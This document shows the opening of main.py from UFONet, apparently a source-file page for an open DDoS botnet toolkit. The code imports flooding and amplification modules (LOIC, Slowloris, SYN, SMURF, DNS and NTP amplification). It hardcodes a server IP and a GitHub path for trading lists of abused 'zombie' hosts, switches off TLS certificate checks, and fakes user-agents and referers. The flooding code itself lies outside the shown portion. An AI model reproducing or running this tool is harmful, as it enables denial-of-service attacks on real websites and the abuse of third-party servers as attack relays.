main.py 250 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026502750285029503050315032
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. try:
  13. from urllib.parse import urlparse as urlparse
  14. except:
  15. from urlparse import urlparse as urlparse
  16. try:
  17. import urllib.request, urllib.error, urllib.parse
  18. except:
  19. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  20. sys.exit()
  21. from uuid import getnode
  22. from random import randrange, shuffle
  23. from .options import UFONetOptions
  24. from .update import Updater
  25. from .herd import Herd
  26. from .zombie import Zombie
  27. from .doll import Doll
  28. from core.tools.inspector import Inspector
  29. from core.tools.abductor import Abductor
  30. from core.tools.ufoscan import UFOSCAN
  31. from core.mods.loic import LOIC
  32. from core.mods.loris import LORIS
  33. from core.mods.ufosyn import UFOSYN
  34. from core.mods.spray import SPRAY
  35. from core.mods.smurf import SMURF
  36. from core.mods.xmas import XMAS
  37. from core.mods.nuke import NUKE
  38. from core.mods.tachyon import TACHYON
  39. from core.mods.monlist import MONLIST
  40. DEBUG = False # use 'True' for detailed traceback
  41. class UFONet(object):
  42. def __init__(self):
  43. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  44. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  45. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  46. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  47. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  48. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 26/02/2020]
  49. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 26/02/2020]
  50. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  51. self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 28/02/2019]
  52. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 28/02/2019]
  53. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 28/02/2019]
  54. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  55. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  56. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  57. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  58. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  59. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  60. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  61. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  62. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  63. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  64. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  65. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  66. self.timeline_file = 'docs/VERSION' # set source for code releases
  67. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  68. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  69. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  70. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  71. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  72. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  73. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  74. self.referer = '' # black magic
  75. self.port = "8080" # default injection port
  76. self.mothershipname = "core/txt/shipname.txt"
  77. self.default_mothership_name = "l4m3r-lulz/0\n" # default mothership name
  78. self.mothership_baptism() # generating static name/id for your mothership ;-)
  79. self.head = False
  80. self.payload = False
  81. self.external = False
  82. self.attack_mode = False
  83. self.connection_failed = False
  84. self.total_possible_zombies = 0
  85. self.herd = Herd(self)
  86. self.sem = False
  87. self.db_flash = 0 # db stress counter
  88. self.total_aliens = 0
  89. self.aliens_hit = 0
  90. self.aliens_fail = 0
  91. self.total_droids = 0
  92. self.droids_hit = 0
  93. self.droids_fail = 0
  94. self.total_ucavs = 0
  95. self.ucavs_hit = 0
  96. self.ucavs_fail = 0
  97. self.total_rpcs = 0
  98. self.rpcs_hit = 0
  99. self.rpcs_fail = 0
  100. self.total_loic = 0
  101. self.total_loris = 0
  102. self.total_syn = 0
  103. self.total_spray = 0
  104. self.total_smurf = 0
  105. self.total_xmas = 0
  106. self.total_nuke = 0
  107. self.total_tachyon = 0
  108. self.total_monlist = 0
  109. self.total_zombies_failed_connection = 0
  110. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  111. self.ctx.check_hostname = False
  112. self.ctx.verify_mode = ssl.CERT_NONE
  113. self.nat_error_flag = "OFF"
  114. self.trans_zombies = 0
  115. self.scanned_zombies = 0
  116. self.loadcheck_counter = 0
  117. self.loadcheck_prev_size = None
  118. self.loadcheck_prev_load = None
  119. self.loadcheck_first_size = None
  120. self.loadcheck_first_load = None
  121. self.loadcheck_size_list = []
  122. self.loadcheck_load_list = []
  123. self.loadcheck_size_median = None
  124. self.loadcheck_size_max = None
  125. self.loadcheck_size_min = None
  126. self.loadcheck_load_median = None
  127. self.loadcheck_size_max = None
  128. self.loadcheck_size_min = None
  129. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  130. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  131. self.expire_timing = 30 # default expiring time per round
  132. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  133. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  134. def mothership_baptism(self):
  135. if os.path.exists(self.mothershipname) == True:
  136. f = open(self.mothershipname)
  137. self.mothership_id = f.read()
  138. f.close()
  139. else:
  140. self.mothership_ids = []
  141. try:
  142. f = open(self.motherships_file)
  143. motherships = f.readlines()
  144. f.close()
  145. for ship in motherships:
  146. ship = ship.encode("utf-8")
  147. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  148. try:
  149. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  150. except:
  151. try:
  152. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  153. except:
  154. self.mothership_id = self.default_mothership_name
  155. except:
  156. self.mothership_id = self.default_mothership_name
  157. if len(str(self.mothership_id.upper())) > 20: # motherhip naming anti-cheating! ;-)
  158. self.mothership_id = self.default_mothership_name
  159. m = open(self.mothershipname, "w") # write mothership name to a static file
  160. m.write(str(self.mothership_id.upper()))
  161. m.close()
  162. def create_options(self, args=None):
  163. self.optionParser = UFONetOptions()
  164. self.options = self.optionParser.get_options(args)
  165. if not self.options:
  166. return False
  167. return self.options
  168. def banner_welcome(self):
  169. print("")
  170. print(" 0=============================================0")
  171. print(" || ||")
  172. print(" || || || * Botnet -> [DDoS]: ||")
  173. print(" -(00)- -(00)- || /Zombies : HTTP GET bots ||")
  174. print(" || (00) || || /Droids : HTTP GET (+params) bots ||")
  175. print(" (O)_ (O) 0'----'0 (O) _(O) || /Aliens : HTTP POST bots ||")
  176. print(" | |.''.( xx ).''.| | || /UCAVs : Web Abusing bots ||")
  177. print(" .'.' X|'..'|X '.'. || /X-RPCs : XML-RPC bots ||")
  178. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || /DBSTRESS: HTTP DB attack ||")
  179. print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || /SPRAY : TCP-SYN reflector ||")
  180. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || /SMURF : ICMP echo flooder ||")
  181. print(" _ | || '-.___||___.-' || | _ || /TACHYON : DNS amplificator ||")
  182. print(" .' _ | ||==O | __ | O==|| | _ '. || /MONLIST : NTP amplificator ||")
  183. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || ||")
  184. print(" | '### | =| | ###### | |= |' ### | || * Close Combat -> [DoS]: ||")
  185. print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || /LOIC : Fast HTTP requests ||")
  186. print(" \ '._.' '. | \_##_/ | .' '._.' / || /LORIS : Slow HTTP requests ||")
  187. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' || /UFOSYN : TCP-SYN flooder ||")
  188. print(" .'_.-| |-._'. || /XMAS : TCP-XMAS flooder ||")
  189. print(" || /NUKE : TCP-STARVATION attack ||")
  190. print(" + Class: UFONet / ViPR404+ (model G) + || ||")
  191. print(" 0|===========================================|0")
  192. print("")
  193. def banner(self):
  194. print('='*75, "\n")
  195. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  196. print("888 888 888 d88P Y888b 8888b 888 888 ")
  197. print("888 888 888 888 888 88888b 888 888 ")
  198. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  199. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  200. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  201. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  202. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  203. print(self.optionParser.description, "\n")
  204. print('='*75)
  205. def generate_exit_msg(self):
  206. f = open(self.misc_file)
  207. m = f.readlines()
  208. f.close()
  209. self.exit_msg = "Generating random exit... \n\n"
  210. self.exit_msg += " -> "+str(random.choice(m).strip())
  211. def AI(self):
  212. try:
  213. import turtle as AI
  214. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  215. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  216. bg = random.choice(colors).strip()
  217. t = AI.Pen()
  218. AI.bgcolor(bg)
  219. r = random.randrange(100,100000)
  220. for x in range(r):
  221. t.pencolor(colors[x%6])
  222. w = random.randrange(100,1000)
  223. t.width(x/w + 1)
  224. t.forward(x)
  225. l = random.randrange(50,1000)
  226. t.left(l)
  227. except:
  228. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  229. pass
  230. def round_float(self, num):
  231. return str(int(round(num, -1)))[2] # black magic
  232. def show_mac_address(self):
  233. mac = getnode() # to get physical address
  234. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  235. return hex_mac
  236. def show_ips(self):
  237. import requests
  238. try:
  239. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  240. s.connect(("8.8.8.8", 80))
  241. private_ip = s.getsockname()[0] # black magic
  242. s.close()
  243. except:
  244. private_ip = "Unknown"
  245. try:
  246. public_ip = requests.get(self.check_ip_service3).text
  247. except:
  248. try:
  249. public_ip = requests.get(self.check_ip_service2).text
  250. except:
  251. try:
  252. public_ip = requests.get(self.check_ip_service1).text
  253. except:
  254. public_ip = "Unknown"
  255. return private_ip, public_ip
  256. def try_running(self, func, error, args=None):
  257. options = self.options
  258. args = args or []
  259. try:
  260. return func(*args)
  261. except Exception as e:
  262. if DEBUG == True:
  263. print(error, "error")
  264. traceback.print_exc()
  265. def checkeuid(self):
  266. try:
  267. euid = os.geteuid()
  268. except:
  269. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  270. print("[AI] "+self.exit_msg+"\n")
  271. sys.exit(2) # return
  272. return euid
  273. def start_ship_engine(self):
  274. self.agents = [] # generating available user-agents
  275. f = open(self.agents_file)
  276. agents = f.readlines()
  277. f.close()
  278. for agent in agents:
  279. self.agents.append(agent)
  280. self.user_agent = random.choice(self.agents).strip()
  281. self.search_engines = [] # available dorking search engines
  282. self.search_engines.append('bing') # [01/02/2020: OK!]
  283. self.search_engines.append('yahoo') # [01/02/2020: OK!]
  284. self.search_engines.append('duck') # [01/02/2020: OK!]
  285. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  286. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  287. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  288. if not os.path.exists("core/json/"): # create gui json cfg files folder
  289. os.mkdir("core/json/")
  290. self.banner_welcome()
  291. self.update_flying_stats() # update flying time stats
  292. chargo = self.check_mothership_chargo() # check mothership chargo
  293. self.update_max_chargo(int(chargo)) # update max chargo stats
  294. self.generate_exit_msg() # generate random exit msg
  295. def run(self, opts=None):
  296. if opts:
  297. self.create_options(opts)
  298. options = self.options
  299. # start threads
  300. if not self.options.threads:
  301. self.options.threads=5 # default number of threads
  302. self.sem = threading.Semaphore(self.options.threads)
  303. # start ship engine
  304. self.start_ship_engine()
  305. # check proxy options
  306. proxy = options.proxy
  307. if options.proxy:
  308. try:
  309. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  310. m = re.search(pattern, proxy)
  311. if m is None:
  312. self.banner()
  313. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  314. return
  315. else:
  316. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  317. except Exception:
  318. self.banner()
  319. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  320. return
  321. # check tor connection
  322. if options.checktor:
  323. url = self.check_tor_url # TOR status checking site
  324. self.banner()
  325. print("\nSending request to: " + url + "\n")
  326. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  327. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  328. try:
  329. if options.proxy: # set proxy
  330. self.proxy_transport(options.proxy)
  331. req = urllib.request.Request(url, None, headers)
  332. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  333. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  334. if not tor_reply or 'Congratulations' not in tor_reply:
  335. print("It seems that Tor is not properly set.\n")
  336. print(("IP address appears to be: " + your_ip + "\n"))
  337. else:
  338. print("Congratulations!. Tor is properly being used :-)\n")
  339. print(("IP address appears to be: " + your_ip + "\n"))
  340. except:
  341. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  342. sys.exit(2) # return
  343. # run AES256+HMAC-SHA1 enc/dec tool
  344. if options.cryptomsg:
  345. from core.tools.crypter import Cipher
  346. print(" " + '='*44)
  347. print(" ")
  348. print(" ____...------------...____ ")
  349. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  350. print(" .' / / \ \ '. ")
  351. print(" |=====/o/======================\o\=====| ")
  352. print(" |____/_/________..____..________\_\____| ")
  353. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  354. print(" \__/_____\####/0213411543/####/_____\__/ ")
  355. print(" |===\!/========================\!/===| ")
  356. print(" | |=| .---. |=| | ")
  357. print(" |===|o|=========/ \========|o|===| ")
  358. print(" | | | \() ()/ | | | ")
  359. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  360. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  361. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  362. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  363. print(" '''''''''''''''''''''''''''''''''''''' ")
  364. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  365. print(" (140 plain text chars = 69 encrypted chars)\n")
  366. print(" " + '='*44 + "\n")
  367. text = str(input("-> Enter TEXT: "))
  368. input_key = str(input("\n-> Enter KEY: "))
  369. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  370. c = Cipher(key, text)
  371. msg = c.encrypt()
  372. msg = msg.decode('utf-8')
  373. c.set_text(msg)
  374. print("\n" + " " + '-'*44)
  375. print('\n-> Ciphertext: [', msg, ']')
  376. print('\n-> Length:', len(msg))
  377. print("\n" + " " + '-'*44)
  378. print('\n-> Key (share it using SNEAKNET!):', input_key)
  379. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  380. # run shownet tool
  381. if options.shownet:
  382. hex_mac = self.show_mac_address()
  383. self.banner()
  384. print("-> Network Info:")
  385. print('='*44)
  386. print("-"*35)
  387. print("|- MAC Address :", hex_mac)
  388. print("|" +"-"*34)
